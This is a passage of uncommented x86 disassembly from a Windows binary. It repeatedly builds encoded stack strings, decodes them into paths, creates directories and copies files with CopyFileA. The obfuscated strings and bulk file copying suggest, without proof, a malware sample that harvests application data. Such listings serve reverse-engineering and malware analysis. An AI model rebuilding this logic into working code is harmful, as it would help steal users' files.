je 0x411b13
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x158], 0x8497a2a8
mov dword [ebp - 0x154], 0x939b99
mov byte [ebp - 0x150], 1
call fcn.00409ee0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x578]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x578]
mov byte [ebp - 4], 0x4b
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x411a8a
push 0
lea ecx, [ebp - 0x578]
call fcn.00402a20
push eax
call esi
test eax, eax
je 0x411b04
sub esp, 0x18
lea eax, [ebp - 0x578]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x4c
lea eax, [ebp - 0x7b8]
mov ecx, esp
push eax
call fcn.0046a770
mov cl, bl
mov byte [ebp - 4], 0x4b
call fcn.0040e150
add esp, 0x30
test eax, eax
jne 0x411acc
mov byte [edi], 1
jmp 0x411b04
lea ecx, [ebp - 0x578]
call fcn.00402a20
push eax
lea ecx, [ebp - 0x998]
call fcn.00402980
push 0
mov dl, 1
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0x998]
call fcn.0040a750
add esp, 4
lea ecx, [ebp - 0x998]
call fcn.004028d0
lea ecx, [ebp - 0x578]
mov byte [ebp - 4], 0x4a
call fcn.004028d0
lea ecx, [ebp - 0x3ea]
mov dword [ebp - 0x3ea], 0x839fb7a8
mov dword [ebp - 0x3e6], 0xa7889c90
mov dword [ebp - 0x3e2], 0x978a949e
mov dword [ebp - 0x3de], 0x672c7365
mov word [ebp - 0x3da], 0x66
mov byte [ebp - 0x3d8], 1
call fcn.00409170
push eax
lea ecx, [ebp - 0xb00]
call fcn.00402980
push eax
lea edx, [ebp - 0xd28]
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x7a0]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0xb00]
mov byte [ebp - 4], 0x50
call fcn.004028d0
sub esp, 0x18
lea eax, [ebp - 0x7a0]
mov ecx, esp
push eax
call fcn.0046a770
call fcn.0040a600
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 0x18
test al, al
je 0x411cd6
lea ecx, [ebp - 0x161]
mov dword [ebp - 0x161], 0x839fb7a8
mov dword [ebp - 0x15d], 0x889c90
mov byte [ebp - 0x159], 1
call fcn.00409ee0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x590]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x590]
mov byte [ebp - 4], 0x51
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x411c1b
push 0
lea ecx, [ebp - 0x590]
call fcn.00402a20
push eax
call esi
test eax, eax
je 0x411cc7
lea ecx, [ebp - 0x2b0]
mov dword [ebp - 0x2b0], 0x839f97a8
mov dword [ebp - 0x2ac], 0xd5889c90
mov dword [ebp - 0x2a8], 0x1009f98
call fcn.0040df80
push eax
lea edx, [ebp - 0x590]
lea ecx, [ebp - 0xb18]
call fcn.0046e400
add esp, 4
mov ecx, eax
call fcn.00402a20
lea ecx, [ebp - 0x7a0]
mov esi, eax
call fcn.00402a20
push 0
push esi
push eax
call ebx
lea ecx, [ebp - 0xb18]
mov esi, eax
call fcn.004028d0
test esi, esi
je 0x411c89
mov byte [edi], 1
jmp 0x411cc1
lea ecx, [ebp - 0x590]
call fcn.00402a20
push eax
lea ecx, [ebp - 0x9b0]
call fcn.00402980
push 0
mov dl, 1
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0x9b0]
call fcn.0040a750
add esp, 4
lea ecx, [ebp - 0x9b0]
call fcn.004028d0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x590]
mov byte [ebp - 4], 0x50
call fcn.004028d0
lea ecx, [ebp - 0x43c]
mov dword [ebp - 0x43c], 0x929ab0a8
mov dword [ebp - 0x438], 0x94888d9b
mov dword [ebp - 0x434], 0x8c9fbe92
mov dword [ebp - 0x430], 0x62755d68
mov dword [ebp - 0x42c], 0x73636968
mov word [ebp - 0x428], 0x7b
mov byte [ebp - 0x426], 1
call fcn.00408d40
push eax
lea ecx, [ebp - 0xb30]
call fcn.00402980
push eax
lea edx, [ebp - 0xd28]
mov byte [ebp - 4], 0x53
lea ecx, [ebp - 0x788]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0xb30]
mov byte [ebp - 4], 0x55
call fcn.004028d0
lea ecx, [ebp - 0x788]
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
je 0x411e76
lea ecx, [ebp - 0x2ea]
mov dword [ebp - 0x2ea], 0x929ab0a8
mov dword [ebp - 0x2e6], 0x94888d9b
mov dword [ebp - 0x2e2], 0x8c9fbe92
mov word [ebp - 0x2de], 0x68
mov byte [ebp - 0x2dc], 1
call fcn.00408d10
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x5a8]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x5a8]
mov byte [ebp - 4], 0x56
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x411dea
push 0
lea ecx, [ebp - 0x5a8]
call fcn.00402a20
push eax
call esi
test eax, eax
je 0x411e67
sub esp, 0x18
mov byte [ebp - 0x15], 0
lea eax, [ebp - 0x5a8]
mov dword [ebp - 0x10], esp
mov ecx, esp
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x57
lea eax, [ebp - 0x788]
mov ecx, esp
push eax
call fcn.0046a770
mov cl, byte [ebp - 0x15]
mov byte [ebp - 4], 0x56
call fcn.0040e150
add esp, 0x30
test eax, eax
jne 0x411e2f
mov byte [edi], 1
jmp 0x411e67
lea ecx, [ebp - 0x5a8]
call fcn.00402a20
push eax
lea ecx, [ebp - 0x9c8]
call fcn.00402980
push 0
mov dl, 1
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0x9c8]
call fcn.0040a750
add esp, 4
lea ecx, [ebp - 0x9c8]
call fcn.004028d0
lea ecx, [ebp - 0x5a8]
mov byte [ebp - 4], 0x55
call fcn.004028d0
lea ecx, [ebp - 0x134]
mov dword [ebp - 0x134], 0x999fb7a8
mov dword [ebp - 0x130], 0x9e999799
mov dword [ebp - 0x12c], 0x8f8e9ca0
mov dword [ebp - 0x128], 0x6c76722d
mov dword [ebp - 0x124], 0x6d286076
mov dword [ebp - 0x120], 0x64667b
mov byte [ebp - 0x11c], 1
call fcn.004677e0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x6f8]
call fcn.00402ac0
lea ecx, [ebp - 0x134]
mov byte [ebp - 4], 0x59
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411ee0
sub ecx, edx
lea eax, [ebp - 0x134]
push ecx
push eax
lea ecx, [ebp - 0x6f8]
call fcn.00402ae0
lea eax, [ebp - 0x6f8]
mov byte [ebp - 4], 0x5a
push eax
lea edx, [ebp - 0xd28]
lea ecx, [ebp - 0x770]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0x6f8]
mov byte [ebp - 4], 0x5c
call fcn.004028d0
sub esp, 0x18
lea eax, [ebp - 0x770]
mov ecx, esp
push eax
call fcn.0046a770
call fcn.0040a600
add esp, 0x18
test al, al
je 0x412083
lea ecx, [ebp - 0x1be]
mov dword [ebp - 0x1be], 0x999fb7a8
mov dword [ebp - 0x1ba], 0x9e999799
mov word [ebp - 0x1b6], 0x100
call fcn.0040df50
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x5c0]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x5c0]
mov byte [ebp - 4], 0x5d
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x411fb7
push 0
lea ecx, [ebp - 0x5c0]
call fcn.00402a20
push eax
call esi
test eax, eax
je 0x412074
lea ecx, [ebp - 0x36b]
mov dword [ebp - 0x36b], 0x878694a8
mov dword [ebp - 0x367], 0x948e8ad5
mov dword [ebp - 0x363], 0x95d0988e
mov dword [ebp - 0x35f], 0x6c6e73
mov byte [ebp - 0x35b], 1
call fcn.0040df20
push eax
lea edx, [ebp - 0x5c0]
lea ecx, [ebp - 0xb48]
call fcn.0046e400
add esp, 4
mov ecx, eax
call fcn.00402a20
lea ecx, [ebp - 0x770]
mov esi, eax
call fcn.00402a20
push 0
push esi
push eax
call ebx
lea ecx, [ebp - 0xb48]
mov esi, eax
call fcn.004028d0
test esi, esi
je 0x412036
mov byte [edi], 1
jmp 0x41206e
lea ecx, [ebp - 0x5c0]
call fcn.00402a20
push eax
lea ecx, [ebp - 0x9e0]
call fcn.00402980
push 0
mov dl, 1
mov byte [ebp - 4], 0x5e
lea ecx, [ebp - 0x9e0]
call fcn.0040a750
add esp, 4
lea ecx, [ebp - 0x9e0]
call fcn.004028d0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x5c0]
mov byte [ebp - 4], 0x5c
call fcn.004028d0
lea ecx, [ebp - 0x3fd]
mov dword [ebp - 0x3fd], 0x9f82b0a8
mov dword [ebp - 0x3f9], 0x8e9f8b9d
mov dword [ebp - 0x3f5], 0x9e89a191
mov dword [ebp - 0x3f1], 0x77676d6c
mov word [ebp - 0x3ed], 0x77
mov byte [ebp - 0x3eb], 1
call fcn.00409170
push eax
lea ecx, [ebp - 0xb60]
call fcn.00402980
push eax
lea edx, [ebp - 0xd28]
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0x758]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0xb60]
mov byte [ebp - 4], 0x61
call fcn.004028d0
lea ecx, [ebp - 0x758]
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
je 0x41220f
lea ecx, [ebp - 0x22e]
mov dword [ebp - 0x22e], 0x9f82b0a8
mov dword [ebp - 0x22a], 0x8e9f8b9d
mov word [ebp - 0x226], 0x91
mov byte [ebp - 0x224], 1
call fcn.00408b90
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x5d8]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x5d8]
mov byte [ebp - 4], 0x62
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x412183
push 0
lea ecx, [ebp - 0x5d8]
call fcn.00402a20
push eax
call esi
test eax, eax
je 0x412200
sub esp, 0x18
mov byte [ebp - 0x15], 0
lea eax, [ebp - 0x5d8]
mov dword [ebp - 0x10], esp
mov ecx, esp
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x63
lea eax, [ebp - 0x758]
mov ecx, esp
push eax
call fcn.0046a770
mov cl, byte [ebp - 0x15]
mov byte [ebp - 4], 0x62
call fcn.0040e150
add esp, 0x30
test eax, eax
jne 0x4121c8
mov byte [edi], 1
jmp 0x412200
lea ecx, [ebp - 0x5d8]
call fcn.00402a20
push eax
lea ecx, [ebp - 0x9f8]
call fcn.00402980
push 0
mov dl, 1
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0x9f8]
call fcn.0040a750
add esp, 4
lea ecx, [ebp - 0x9f8]
call fcn.004028d0
lea ecx, [ebp - 0x5d8]
mov byte [ebp - 4], 0x61
call fcn.004028d0
lea ecx, [ebp - 0x25]
mov dword [ebp - 0x25], 0x9683b2a8
mov dword [ebp - 0x21], 0x9b9d8a
mov byte [ebp - 0x1d], 1
call fcn.00467b90
push dword [ebp - 0x10]
lea ecx, [ebp - 0x710]
call fcn.00402ac0
lea ecx, [ebp - 0x25]
mov byte [ebp - 4], 0x65
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412241
sub ecx, edx
lea eax, [ebp - 0x25]
push ecx
push eax
lea ecx, [ebp - 0x710]
call fcn.00402ae0
lea eax, [ebp - 0x710]
mov byte [ebp - 4], 0x66
push eax
lea edx, [ebp - 0xd28]
lea ecx, [ebp - 0x470]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0x710]
mov byte [ebp - 4], 0x68
call fcn.004028d0
lea ecx, [ebp - 0x470]
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
je 0x412836
lea ecx, [ebp - 0x16a]
mov dword [ebp - 0x16a], 0x9683b2a8
mov dword [ebp - 0x166], 0x9b9d8a
mov byte [ebp - 0x162], 1
call fcn.00409ee0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x4b8]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 4], 0x69
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x41230c
push 0
lea ecx, [ebp - 0x4b8]
call fcn.00402a20
push eax
call esi
test eax, eax
je 0x412827
lea ecx, [ebp - 0x268]
mov dword [ebp - 0x268], 0x9398bca8
mov dword [ebp - 0x264], 0x9f9f819d
mov dword [ebp - 0x260], 0x100bfb8
call fcn.0040df80
push eax
lea edx, [ebp - 0x470]
lea ecx, [ebp - 0xb78]
call fcn.0046e400
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x6a
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
lea ecx, [ebp - 0xb78]
mov byte [ebp - 4], 0x69
mov bl, al
call fcn.004028d0
test bl, bl
je 0x4124a2
lea ecx, [ebp - 0x25c]
mov dword [ebp - 0x25c], 0x9398bca8
mov dword [ebp - 0x258], 0x9f9f819d
mov dword [ebp - 0x254], 0x100bfb8
call fcn.0040df80
push eax
lea edx, [ebp - 0x4b8]
lea ecx, [ebp - 0x5f0]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 4], 0x6b
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x4123e5
push 0
lea ecx, [ebp - 0x5f0]
call fcn.00402a20
push eax
call esi
test eax, eax
je 0x412493
sub esp, 0x18
lea eax, [ebp - 0x5f0]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x298]
mov dword [ebp - 0x298], 0x9398bca8
mov dword [ebp - 0x294], 0x9f9f819d
mov esi, esp
mov dword [ebp - 0x290], 0x100bfb8
call fcn.0040df80
push eax
lea edx, [ebp - 0x470]
mov ecx, esi
call fcn.0046e400
add esp, 4
mov byte [ebp - 4], 0x6b
mov cl, bl
call fcn.0040e150
add esp, 0x30
test eax, eax
jne 0x412455
mov byte [edi], 1
jmp 0x41248d
lea ecx, [ebp - 0x5f0]
call fcn.00402a20
push eax
lea ecx, [ebp - 0xa10]
call fcn.00402980
push 0
mov dl, 1
mov byte [ebp - 4], 0x6d
lea ecx, [ebp - 0xa10]
call fcn.0040a750
add esp, 4
lea ecx, [ebp - 0xa10]
call fcn.004028d0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 4], 0x69
call fcn.004028d0
lea ecx, [ebp - 0x32a]
mov dword [ebp - 0x32a], 0x9499b9a8
mov dword [ebp - 0x326], 0xa8da9599
mov dword [ebp - 0x322], 0x9e8c9288
mov dword [ebp - 0x31e], 0x1006467
call fcn.0040e0d0
push eax
lea edx, [ebp - 0x470]
lea ecx, [ebp - 0xb90]
call fcn.0046e400
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x6e
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
lea ecx, [ebp - 0xb90]
mov byte [ebp - 4], 0x69
mov bl, al
call fcn.004028d0
test bl, bl
je 0x412656
lea ecx, [ebp - 0x33a]
mov dword [ebp - 0x33a], 0x9499b9a8
mov dword [ebp - 0x336], 0xa8da9599
mov dword [ebp - 0x332], 0x9e8c9288
mov dword [ebp - 0x32e], 0x1006467
call fcn.0040e0d0
push eax
lea edx, [ebp - 0x4b8]
lea ecx, [ebp - 0x608]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x608]
mov byte [ebp - 4], 0x6f
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x41258f
push 0
lea ecx, [ebp - 0x608]
call fcn.00402a20
push eax
call esi
test eax, eax
je 0x412647
sub esp, 0x18
lea eax, [ebp - 0x608]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.0046a770
mov byte [ebp - 4], 0x70
lea ecx, [ebp - 0x34a]
sub esp, 0x18
mov dword [ebp - 0x34a], 0x9499b9a8
mov dword [ebp - 0x346], 0xa8da9599
mov esi, esp
mov dword [ebp - 0x342], 0x9e8c9288
mov dword [ebp - 0x33e], 0x1006467
call fcn.0040e0d0
push eax
lea edx, [ebp - 0x470]
mov ecx, esi
call fcn.0046e400
add esp, 4
mov byte [ebp - 4], 0x6f
mov cl, bl
call fcn.0040e150
add esp, 0x30
test eax, eax
jne 0x412609
mov byte [edi], 1
jmp 0x412641
lea ecx, [ebp - 0x608]
call fcn.00402a20
push eax
lea ecx, [ebp - 0xa28]
call fcn.00402980
push 0
mov dl, 1
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0xa28]
call fcn.0040a750
add esp, 4
lea ecx, [ebp - 0xa28]
call fcn.004028d0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x608]
mov byte [ebp - 4], 0x69
call fcn.004028d0
lea ecx, [ebp - 0x3d7]
mov dword [ebp - 0x3d7], 0x8493a6a8
mov dword [ebp - 0x3d3], 0x9595908b
mov dword [ebp - 0x3cf], 0x908aaedc
mov dword [ebp - 0x3cb], 0x66656072
mov word [ebp - 0x3c7], 0x100
call fcn.0040def0
push eax
lea edx, [ebp - 0x470]
lea ecx, [ebp - 0xba8]
call fcn.0046e400
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x72
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
lea ecx, [ebp - 0xba8]
mov byte [ebp - 4], 0x69
mov bl, al
call fcn.004028d0
test bl, bl
je 0x412821
lea ecx, [ebp - 0x3c5]
mov dword [ebp - 0x3c5], 0x8493a6a8
mov dword [ebp - 0x3c1], 0x9595908b
mov dword [ebp - 0x3bd], 0x908aaedc
mov dword [ebp - 0x3b9], 0x66656072
mov word [ebp - 0x3b5], 0x100
call fcn.0040def0
push eax
lea edx, [ebp - 0x4b8]
lea ecx, [ebp - 0x620]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x620]
mov byte [ebp - 4], 0x73
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x412755
push 0
lea ecx, [ebp - 0x620]
call fcn.00402a20
push eax
call esi
test eax, eax
je 0x412816
sub esp, 0x18
lea eax, [ebp - 0x620]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.0046a770
mov byte [ebp - 4], 0x74
lea ecx, [ebp - 0x3a1]
sub esp, 0x18
mov dword [ebp - 0x3a1], 0x8493a6a8
mov dword [ebp - 0x39d], 0x9595908b
mov esi, esp
mov dword [ebp - 0x399], 0x908aaedc
mov dword [ebp - 0x395], 0x66656072
mov word [ebp - 0x391], 0x100
call fcn.0040def0
push eax
lea edx, [ebp - 0x470]
mov ecx, esi
call fcn.0046e400
add esp, 4
mov byte [ebp - 4], 0x73
mov cl, bl
call fcn.0040e150
add esp, 0x30
test eax, eax
jne 0x4127d8
mov byte [edi], 1
jmp 0x412810
lea ecx, [ebp - 0x620]
call fcn.00402a20
push eax
lea ecx, [ebp - 0xa40]
call fcn.00402980
push 0
mov dl, 1
mov byte [ebp - 4], 0x75
lea ecx, [ebp - 0xa40]
call fcn.0040a750
add esp, 4
lea ecx, [ebp - 0xa40]
call fcn.004028d0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x620]
call fcn.004028d0
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 4], 0x68
call fcn.004028d0
lea ecx, [ebp - 0x1b4]
mov dword [ebp - 0x1b4], 0x9b83b8a8
mov dword [ebp - 0x1b0], 0x94be908c
mov dword [ebp - 0x1ac], 0x92a2989b
mov dword [ebp - 0x1a8], 0x6a766d75
mov dword [ebp - 0x1a4], 0x62616a60
mov dword [ebp - 0x1a0], 0x676b7e26
mov dword [ebp - 0x19c], 0x7a6860
mov byte [ebp - 0x198], 1
call fcn.00467810
push dword [ebp - 0x10]
lea ecx, [ebp - 0x728]
call fcn.00402ac0
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 4], 0x76
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4128b0
sub ecx, edx
lea eax, [ebp - 0x1b4]
push ecx
push eax
lea ecx, [ebp - 0x728]
call fcn.00402ae0
lea eax, [ebp - 0x728]
mov byte [ebp - 4], 0x77
push eax
lea edx, [ebp - 0xd28]
lea ecx, [ebp - 0x740]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0x728]
mov byte [ebp - 4], 0x79
call fcn.004028d0
sub esp, 0x18
lea eax, [ebp - 0x740]
mov ecx, esp
push eax
call fcn.0046a770
call fcn.0040a600
add esp, 0x18
test al, al
je 0x412a57
lea ecx, [ebp - 0x2a4]
mov dword [ebp - 0x2a4], 0x9b83b8a8
mov dword [ebp - 0x2a0], 0x94be908c
mov dword [ebp - 0x29c], 0x100989b
call fcn.0040df80
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x638]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x638]
mov byte [ebp - 4], 0x7a
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x412988
push 0
lea ecx, [ebp - 0x638]
call fcn.00402a20
push eax
call esi
test eax, eax
je 0x412a48
lea ecx, [ebp - 0x410]
mov dword [ebp - 0x410], 0x9b8398a8
mov dword [ebp - 0x40c], 0x949e908c
mov dword [ebp - 0x408], 0x88d0989b
mov dword [ebp - 0x404], 0x666e6d61
mov word [ebp - 0x400], 0x70
mov byte [ebp - 0x3fe], 1
call fcn.00409170
push eax
lea edx, [ebp - 0x638]
lea ecx, [ebp - 0xbc0]
call fcn.0046e400
add esp, 4
mov ecx, eax
call fcn.00402a20
lea ecx, [ebp - 0x740]
mov esi, eax
call fcn.00402a20
push 0
push esi
push eax
call ebx
lea ecx, [ebp - 0xbc0]
mov esi, eax
call fcn.004028d0
test esi, esi
je 0x412a10
mov byte [edi], 1
jmp 0x412a48
lea ecx, [ebp - 0x638]
call fcn.00402a20
push eax
lea ecx, [ebp - 0xa58]
call fcn.00402980
push 0
mov dl, 1
mov byte [ebp - 4], 0x7b
lea ecx, [ebp - 0xa58]
call fcn.0040a750
add esp, 4
lea ecx, [ebp - 0xa58]
call fcn.004028d0
lea ecx, [ebp - 0x638]
mov byte [ebp - 4], 0x79
call fcn.004028d0
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x7c
lea ecx, [ebp - 0x173]
mov dword [ebp - 0x173], 0x94829cb6
mov dword [ebp - 0x16f], 0x949097
mov esi, esp
mov byte [ebp - 0x16b], 1
call fcn.00409ee0
push eax
mov ecx, esi
call fcn.00402980
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x7d
lea ecx, [ebp - 0x1c8]
mov dword [ebp - 0x1c8], 0x92919ab0
mov dword [ebp - 0x1c4], 0x9593969b
mov esi, esp
mov word [ebp - 0x1c0], 0x100
call fcn.0040df50
push eax
mov ecx, esi
call fcn.00402980
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x1d2]
mov dword [ebp - 0x1d2], 0x99999bb5
mov dword [ebp - 0x1ce], 0x9593969b
mov esi, esp
mov word [ebp - 0x1ca], 0x100
call fcn.0040df50
push eax
mov ecx, esi
call fcn.00402980
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x7f
lea ecx, [ebp - 0x17c]
mov dword [ebp - 0x17c], 0xb4a7b7b6
mov dword [ebp - 0x178], 0x949097
mov esi, esp
mov byte [ebp - 0x174], 1
call fcn.00409ee0
push eax
mov ecx, esi
call fcn.00402980
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x80
lea ecx, [ebp - 0x1dc]
mov dword [ebp - 0x1dc], 0x9f8594b0
mov dword [ebp - 0x1d8], 0x9e8896bb
mov esi, esp
mov word [ebp - 0x1d4], 0x100
call fcn.0040df50
push eax
mov ecx, esi
call fcn.00402980
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x81
lea ecx, [ebp - 0x250]
mov dword [ebp - 0x250], 0x859999b2
mov dword [ebp - 0x24c], 0x94999791
mov esi, esp
mov dword [ebp - 0x248], 0x1009395
call fcn.0040df80
push eax
mov ecx, esi
call fcn.00402980
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x82
lea ecx, [ebp - 0x103]
mov dword [ebp - 0x103], 0x999787b2
mov dword [ebp - 0xff], 0x1009693
mov esi, esp
call fcn.0040c400
push eax
mov ecx, esi
call fcn.00402980
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x83
lea ecx, [ebp - 0x1e6]
mov dword [ebp - 0x1e6], 0x9e9387b2
mov dword [ebp - 0x1e2], 0x9593969b
mov esi, esp
mov word [ebp - 0x1de], 0x100
call fcn.0040df50
push eax
mov ecx, esi
call fcn.00402980
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
mov byte [ebp - 4], 0x84
lea ecx, [ebp - 0x35a]
sub esp, 0x18
mov dword [ebp - 0x35a], 0x939a9ab3
mov dword [ebp - 0x356], 0x959396bb
mov esi, esp
mov dword [ebp - 0x352], 0xb3b9d5dc
mov dword [ebp - 0x34e], 0x1002844
call fcn.0040e0d0
push eax
mov ecx, esi
call fcn.00402980
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0x10b]
mov dword [ebp - 0x10b], 0x98b5babd
mov dword [ebp - 0x107], 0x1009791
mov esi, esp
call fcn.0040c400
push eax
mov ecx, esi
call fcn.00402980
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
mov byte [ebp - 4], 0x86
lea ecx, [ebp - 0x2cc]
sub esp, 0x18
mov dword [ebp - 0x2cc], 0x9e909bbd
mov dword [ebp - 0x2c8], 0x9e8e9096
mov esi, esp
mov dword [ebp - 0x2c4], 0x9197929f
mov word [ebp - 0x2c0], 0x100
call fcn.0040dfb0
push eax
mov ecx, esi
call fcn.00402980
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
mov byte [ebp - 4], 0x87
sub esp, 0x18
mov dword [ebp - 0x113], 0x98958dbd
mov esi, esp
mov dword [ebp - 0x10f], 0x1009791
lea ecx, [ebp - 0x113]
call fcn.0040c400
push eax
mov ecx, esi
call fcn.00402980
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0x66]
mov dword [ebp - 0x66], 0x969190b9
mov dword [ebp - 0x62], 0x9593969b
mov word [ebp - 0x5e], 0x100
call fcn.00467a30
sub esp, 0x18
lea eax, [ebp - 0x66]
mov ecx, esp
push eax
call fcn.00402980
mov ecx, edi
mov byte [ebp - 4], 0x79
call fcn.0040f6a0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x89
lea ecx, [ebp - 0x185]
mov dword [ebp - 0x185], 0x94989cb9
